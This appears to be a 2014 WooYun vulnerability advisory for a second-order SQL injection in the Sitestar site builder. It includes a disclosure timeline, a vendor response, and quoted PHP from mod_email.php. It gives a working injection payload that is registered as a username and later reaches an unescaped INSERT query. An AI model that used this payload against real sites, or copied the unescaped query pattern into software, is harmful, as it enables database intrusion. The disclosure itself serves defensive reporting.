当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-058647

漏洞标题:建站之星Sitestar二次注入一枚

相关厂商:建站之星

漏洞作者: ′雨。

提交时间:2014-04-27 13:54

修复时间:2014-07-26 13:56

公开时间:2014-07-26 13:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-04-27: 细节已通知厂商并且等待厂商处理中
2014-04-28: 厂商已经确认,细节仅向厂商公开
2014-06-22: 细节向核心白帽子及相关领域专家公开
2014-07-02: 细节向普通白帽子公开
2014-07-12: 细节向实习白帽子公开
2014-07-26: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

过滤不严。

详细说明:

在注册用户的时候 只是对一些特殊字符进行了转义。 有长度限制。
没有过滤。
造成了二次猪肉。
__________________________________________________________________________
首先注册一个 123',1,15,0,1,user())#

s2.jpg


________________________________________________________________________
在module/mod_email.php中

public function do_mail(){
global $db;
$title = ParamHolder::get("title");
$msg = ParamHolder::get("email_s");
$msg .= ParamHolder::get("email_m");
$roles = ParamHolder::get("role");
$type = ParamHolder::get("type");
$user_email = ParamHolder::get('users');
$title = mysql_escape_string($title); $msg = mysql_escape_string($msg);$user_email = mysql_escape_string($user_email);


对这些字符转义了。

}else{
//单个用户发送
$sql = "select id,login,email from ".Config::$tbl_prefix."users where login='".$user_email."'";
$res = $db->query($sql);
$eml = $res->fetchRow();

if (!empty($eml)) {

if(!$this->send_mail($title,$msg,$eml['email'])){
$sql = "insert into ".Config::$tbl_prefix."emails(`title`,`content`,user_id,user_name,is_mail,send_id,is_read,is_ok,create_time) values('{$title}','{$msg}','{$eml['id']}','{$eml['login']}',1,{$send_id},0,1,'{$time}')";
$db->query($sql);


这里 出库 无过滤 然后又带入到了insert当中。
这里我把语句也输出来一下

s3.jpg

漏洞证明:

s4.jpg

修复方案:

Check in or check out。

版权声明:转载请注明来源 ′雨。@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-04-28 09:42

厂商回复:

已转给相关技术处理中。

最新状态:

2014-07-16:补丁已经发布,请去官网更新补丁或下载最新安装包,谢谢。